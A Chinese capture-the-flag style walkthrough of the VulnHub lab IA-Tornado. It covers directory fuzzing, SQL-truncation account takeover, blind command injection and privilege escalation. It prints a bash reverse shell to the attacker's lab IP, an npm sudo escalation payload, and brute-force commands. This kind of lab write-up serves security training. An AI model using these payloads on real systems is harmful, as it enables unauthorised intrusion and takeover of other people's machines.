vulnhub靶场【IA系列】之Tornado

news2025/1/21 9:08:40

前言

靶机:IA-Tornado,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

本文所用靶场、kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看 https://pan.quark.cn/s/8585373be449

主机发现

因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -lnetdiscover -r 192.168.10.1/24

若想要模拟真实环境,可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面,发现是apachee2的默认界面,查看页面源代码也未发现内容

尝试进行目录爆破

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具进行爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

发现一个路径bluesky,其他路径无可用,访问这个路径,发现是一个前端页面,不知道这种有没有和后端交互

哇,这个界面真的很像现在大部分的网站,都是前后端分离的,不过这里的靶场不确定是否也是,所以对这个路径再进行一次扫描,可以看到还是有后端的语言php

gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md

或者借助浏览器插件wappalyzer也是可以发现编程语言的,这里若是发现后,就可以再使用目录爆破了

访问上面扫描出的路径,通过上面也可以看到,可用的路径两个,一个login.php一个signup.php

访问login.php

漏洞寻找

尝试输入一些弱密码、万能密码等操作,无法登录成功

再访问signup.php,发现输入后,会直接提示注册成功信息

以注册的信息进行访问login.php,并输入注册的信息进行登录

在点击portfolio时,出现下面字符,说是LFI漏洞被修复了,但是不要忘记再测试

其实这里点击功能点后,都未发现其他的利用,不过这里是php,所以测试是否有隐藏传参支持本地文件包含等,也就是进行爆破

这里先查看每个功能点的页面源代码,在portfolio这里的页面源代码中,出现敏感目录信息

这里假设不知道这个路径,对每个php文件进行路径测试,可以使用ffufwfuzz

不过这里需要先获取正在登录状态的用户的cookie才行,可以直接使用浏览器查看登录的cookie

以火狐浏览器为例,打开开发者工具,可按f12进入

或者利用工具curl

curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式,这里可以在查看页面源代码处发现,表单提交是POST
#-d 是POST请求体中的数据,这里的数据形式,可以借助浏览器中开发者工具,其中的网络模块,可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中

查看c.txt即可发现cookie的名称以及值

这里获取到cookie了,那么为什么确定cookie才可以呢,这里以ffuf为例,查看返回

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的,并且未给予`cookie`

上面的返回与目录爆破时一样,都是要302跳转的。

再以添加cookie后的返回为对比

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"

可以看到,指定cookie后,就可以直接访问了,所以这也是以cookie做身份验证的

那么尝试使用ffuf进行测试,当然使用burp抓包爆破,就通过数据包直接爆破即可,因为请求数据包中含有登录的cookie信息

不过这里字典跑了很久,并未获取到任何传参等信息,并且登录后的几个php都测试了

ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205

啧,已知的信息大概就这么多,这里难道不是通过传参进行文件包含的吗

给出的路径/home/tornado/imp.txt

信息泄露

分析这个路径,一般/home是存放用户的家目录,而其目录下的一般都是用户,就假设这里的路径就是家目录。表示存在用户tornado。那么之前nmap扫描的时候,目标为linux,是否可以确定这个路径具有多种表现方式

/home/tornado/imp.txt
~/imp.txt		#这里表示当前用户家目录下的imp.txt
~tornado/imp.txt	#这里表示用户tornado家目录下的imp.txt
#一般  ~  后加用户名,表示某用户的家目录

分析来看,一般网站的用户都是www-data,并且主目录不是在/home的,并且这里测试php文件有无传参,并未发现,说明确实修复了, 不过假设不通过传参呢,直接通过网址进行访问进行测试

当前的网址路径有两个,其余可以直接看到的,无意义

http://192.168.10.11
http://192.168.10.11/bluesky

把这两个url与上面三个路径进行组合

http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt

然后使用ffuf测试哪些有返回

发现urlhttp://192.168.10.11/~tornado/imp.txt有返回,访问查看,发现全是邮箱地址

之前在进行登录的时候,用户名处就是邮箱,测试这些用户名是否存在

ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

signup.php这里可以测试是否存在,不存在就会像之前一样,提示注册成功

使用burp抓取注册时的数据包,然后进行爆破

攻击成功后进行查看,因为这里使用的是burp社区版,所以不能直接进行搜索结果,不过可以在设置中配置匹配,这里用户已注册会返回User already registered,以这个进行匹配,就可以清晰的看清了

这里去网站看了一下,这个13是指长度,不过这里长度限制是在表单输入,和我通过抓包修改有什么关系,我已经不受表单控制了,😄

其实主要是观察这三个账户

admin@tornado
jacob@tornado
hr@tornado

不过前面既然注册了,使用burp再验证一下,奇怪的点出现了,前面manager注册成功的,这里确登录不了

分析为sql截断

前往浏览器进行手工测试,发现长度限制,那么前面注册的是什么,分析一下,在浏览器进行注册,也是有长度限制的,我是通过burp绕过这个前端的长度限制。

那么,通过burp注册的账户,到了数据库怎么处理的,或者说没到数据库的时候经过什么处理了。

直接输入长度限制的账号manager@torna,啧,登录成功了

好家伙,说明这里前端的长度限制和sql是一样的,或者说前端是可修改长度,sql是进行截断操作

这里长度限制为13,那么通过这种形式,测试sql在进行截断的时候,是否还进行数据库中用户的检验,若没有,就可以存在多个用户了,尤其是空格之类的。

admin@tornado a
jacob@tornado a
hr@tornado    a

之后直接登录admin@tornado,以及注册的密码,发现直接登录成功,但是查看这个功能点,还是不行

再换一个注册jacob@tornado a,然后以jacob@tornado登录,好嘛,这里可以看到了

发现这里输入什么就会返回什么,这不就是很好的xss吗,但是这里要xss还有什么用吗,都已经登录了,尝试试试输入一些命令,看其能否执行

命令注入

经过测试,输入id、ls等,直接返回这些字符,不过,我这里测试一下ping的时候,发现问题。

我刚开始直接输入ping 127.0.0.1,因为是linux界面,所以一直在加载,那么,大概就清楚了。然后我把靶机重启了,然后重新验证,只发送5个包,ping -c 127.0.0.1,发现真的有变化,确定是可以执行命令,只是不把回显返回

尝试进行shell反弹,先在kali中使用nc开启监听9999端口,然后输入下面命令,并执行

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

提权

提权至catchme用户

使用find寻找具有SUID权限的文件,发现sudo,直接尝试,发现不需要密码,有一个用户catchme的文件可执行

find / -perm -4000 -print 2>/dev/null

对于不知道npmsudo提权,可以查看网站gtfobins.github.io中的帮助

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i

使用dpkg查看python版本,然后使用python获取交互式界面

dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root用户

查看这个用户的家目录

把代码中已经加密的那一串尝试进行分析,因为执行过这个脚本,发现不知道输入什么字符加密了。

不过这里可以通过源代码给进行反写,不会写代码就直接丢给ai,这里可以提供代码

import string

# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"

for key in string.printable:
    if len(key) > 1:
        continue
    s = "abcdefghijklmnopqrstuvwxyz"
    s = s.replace(key, '')
    s = key + s
    decrypted_text = ""
    for n in encrypted_text:
        j = ord(n)
        if j == ord(key):
            j = ord('a')
            decrypted_text += chr(j)
        elif n > 'a' and n <= key:
            j = j + 1
            decrypted_text += chr(j)
        elif n > key:
            decrypted_text += n
        elif ord(n) == 32:
            decrypted_text += chr(32)
        elif j >= 48 and j <= 57:
            decrypted_text += chr(j)
        elif j >= 33 and j <= 47:
            decrypted_text += chr(j)
        elif j >= 58 and j <= 64:
            decrypted_text += chr(j)
        elif j >= 91 and j <= 96:
            decrypted_text += chr(j)
        elif j >= 123 and j <= 126:
            decrypted_text += chr(j)
    print(decrypted_text)

然后执行这个脚本,把结果重定向到一个文件中

其实数据不多,查看一下,就发现一个引人idkrootpassword

把结果进行一个ssh爆破,针对root,因为已知的两个用户都用过了

查看最终文件

总结

该靶机主要考察以下几点

  1. 对于网站路径,以及本地文件包含的注入点测试
  2. 对于linux~表示什么意思,以及~用户表示什么意思,以及/home是存放什么的
  3. 对于sql截断注入的了解,要测试后,才能知道,这里就是观察到注册成功,但是无法成功登录的情况进行具体分析
  4. 对于输入框,输入什么返回什么,若是未登录状态,使用xss可行,当然,实际情况中,若是真有,可以构造链接,发送给别人。这里是要获取shell,所以测试命令注入方面。虽然没有回显,但是在执行需要时间的命令时,明显发现是可执行命令的
  5. 对于sudo提权的一些方法,这里是npm
  6. 对于python代码,或者能获取到关键信息也行,现在ai发展迅速,可以通过ai直接写出逆向解密的代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279749.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

云上贵州多彩宝荣获仓颉社区先锋应用奖 | 助力数字政务新突破

在信息技术应用创新的浪潮中&#xff0c;仓颉社区吸引了众多企业和开发者的积极参与&#xff0c;已有多个应用成功落地&#xff0c;展现出蓬勃的创新活力。仓颉编程语言精心遴选了在社区建设、应用创新、开源共建、技术布道等方面做出突出贡献的优秀项目应用&#xff0c;并颁发…

第十二章:算法与程序设计

文章目录&#xff1a; 一&#xff1a;基本概念 1.算法与程序 1.1 算法 1.2 程序 2.编译预处理 3.面向对象技术 4.程序设计方法 5.SOP标志作业流程 6.工具 6.1 自然语言 6.2 流程图 6.3 N/S图 6.4 伪代码 6.5 计算机语言 二&#xff1a;程序设计 基础 1.常数 …

2025 最新flutter面试总结

目录 1.Dart是值传递还是引用传递&#xff1f; 2.Flutter 是单引擎还是双引擎 3. StatelessWidget 和 StatefulWidget 在 Flutter 中有什么区别&#xff1f; 4.简述Dart语音特性 5. Navigator 是什么&#xff1f;在 Flutter 中 Routes 是什么&#xff1f; 6、Dart 是不是…

BUUCTF_Web([GYCTF2020]Ezsqli)

1.输入1 &#xff0c;正常回显。 2.输入1 &#xff0c;报错false&#xff0c;为字符型注入&#xff0c;单引号闭合。 原因&#xff1a; https://mp.csdn.net/mp_blog/creation/editor/145170456 3.尝试查询字段&#xff0c;回显位置&#xff0c;数据库&#xff0c;都是这个。…

HTML学习笔记(4)

目录 一、背景相关样式 二、定位position 三、javascript 1、变量的定义 2、数据类型 3、绑定事件 一、背景相关样式 background-image: url(); // 背景图片 background-repeat: repeat; // 背景图片是否平铺 no-repeat background-size: 200px; // 背景图片尺寸 cover把…

亲测有效!如何快速实现 PostgreSQL 数据迁移到 时序数据库TDengine

小T导读&#xff1a;本篇文章是“2024&#xff0c;我想和 TDengine 谈谈”征文活动的优秀投稿之一&#xff0c;作者从数据库运维的角度出发&#xff0c;分享了利用 TDengine Cloud 提供的迁移工具&#xff0c;从 PostgreSQL 数据库到 TDengine 进行数据迁移的完整实践过程。文章…

Excel 技巧11 - 如何使用Excel作成简单的排班表(★★),weekday 函数,TEXT函数

本文讲了如何在Excel中制作简单的排班表。 1&#xff0c;排班表Layout效果 - B2 单元格找那个输入 日期 - C3 - AG3 输入日&#xff0c;就是该月份的几号&#xff0c;比如1月5号&#xff0c;就输入5 如果是周六周日&#xff0c;背景色显示为绿色 - B4 ~ 输入员工名称 当 B2…

mac m1下载maven安装并配置环境变量

下载地址&#xff1a;Download Apache Maven – Maven 解压到一个没有中文和空格的文件夹 输入pwd查看安装路径 输入cd返回根目录再输入 code .zshrc 若显示 command not found: code你可以通过以下步骤来安装和配置 code 命令&#xff1a; 1. 确保你已经安装了 Visual Studio…

w-form-select.vue(自定义下拉框组件)

文章目录 1、w-form-select.vue 组件中每个属性的含义2、实例3、源代码 1、w-form-select.vue 组件中每个属性的含义 好的&#xff0c;我们来详细解释 w-form-select.vue 组件中每个属性的含义&#xff0c;并用表格列出它们是否与后端字段直接相关&#xff1a; 属性解释表格&…

Flutter项目和鸿蒙平台的通信

Flutter项目和鸿蒙平台的通信 前言Flutter和Harmonyos通信MethodChannelBasicMessageChannelEventChannel 前言 大家在使用Flutter开发项目的时候&#xff0c; Flutter提供了Platfrom Channel API来和个个平台进行交互。 Flutter官方目前提供了一下三种方式来和个个平台交互&…

【KOA框架】koa框架基础入门

koa是express的一层封装&#xff0c;语法比express更加简洁。所以有必要了解下koa的相关开发方法。 代码实现 package.json {"name": "koapp","version": "1.0.0","main": "index.js","scripts": {&…

我的创作纪念日——我与CSDN一起走过的365天

目录 一、机缘&#xff1a;旅程的开始 二、收获&#xff1a;沿路的花朵 三、日常&#xff1a;不断前行中 四、成就&#xff1a;一点小确幸 五、憧憬&#xff1a;梦中的重点 一、机缘&#xff1a;旅程的开始 最开始开始写博客是在今年一二月份的时候&#xff0c;也就是上一…

DenseNet-密集连接卷积网络

DenseNet&#xff08;Densely Connected Convolutional Network&#xff09;是近年来图像识别领域中一种创新且高效的深度卷积神经网络架构。它通过引入密集连接的设计&#xff0c;极大地提高了特征传递效率&#xff0c;减缓了梯度消失问题&#xff0c;促进了特征重用&#xff…

人形机器人将制造iPhone!

前言 优必选机器人和富士康通过一项突破性的合作伙伴关系&#xff0c;正在将先进的人形机器人&#xff08;如Walker S1及其升级版Walker S2&#xff09;整合到制造流程中&#xff0c;以改变iPhone的生产方式。这一合作旨在通过提升机器人能力、优化工作流程以及实现更智能的自动…

数据结构(链表 哈希表)

在Python中&#xff0c;链表和哈希表都是常见的数据结构&#xff0c;可以用来存储和处理数据。 链表是一种线性数据结构&#xff0c;由一系列节点组成&#xff0c;每个节点包含一个数据元素和一个指向下一个节点的指针。链表可以用来实现栈、队列以及其他数据结构。Python中可…

[苍穹外卖] 1-项目介绍及环境搭建

项目介绍 定位&#xff1a;专门为餐饮企业&#xff08;餐厅、饭店&#xff09;定制的一款软件产品 功能架构&#xff1a; 管理端 - 外卖商家使用 用户端 - 点餐用户使用 技术栈&#xff1a; 开发环境的搭建 整体结构&#xff1a; 前端环境 前端工程基于 nginx 运行 - Ngi…

vmware虚拟机配置ubuntu 18.04(20.04)静态IP地址

VMware版本 &#xff1a;VMware Workstation 17 Pro ubuntu版本&#xff1a;ubuntu-18.04.4-desktop-amd64 主机环境 win11 1. 修改 VMware虚拟网络编辑器 打开vmware&#xff0c;点击顶部的“编辑"菜单&#xff0c;打开 ”虚拟化网络编辑器“ 。 选择更改设置&#…

AUTOSAR OS模块详解(三) Alarm

AUTOSAR OS模块详解(三) Alarm 本文主要介绍AUTOSAR OS的Alarm&#xff0c;并对基于英飞凌Aurix TC3XX系列芯片的Vector Microsar代码和配置进行部分讲解。 文章目录 AUTOSAR OS模块详解(三) Alarm1 简介2 功能介绍2.1 触发原理2.2 工作类型2.3 Alarm启动方式2.4 Alarm配置2.5…

「免填邀请码」赋能各类APP,提升转化率与用户体验

在当前移动互联网的高速发展下&#xff0c;用户获取和留存已成为各类APP成功的关键。传统的注册流程虽然能够有效识别用户来源并进行用户管理&#xff0c;但随着市场竞争的激烈&#xff0c;复杂的注册和绑定步骤往往会成为用户流失的瓶颈。免填邀请码技术&#xff0c;结合自研的…

Linux:expect spawn简介与用法

一、背景 大家在使用linux系统的很多时候&#xff0c;都用linux指令来实现一些操作&#xff0c;执行特定的job&#xff0c;有时一些场景中需要执行交互指令来完成任务&#xff0c;比如ssh登录这个命令大家一定很熟悉&#xff1a; ssh-keygen -t rsa # 以及 ssh-copy-id -i /hom…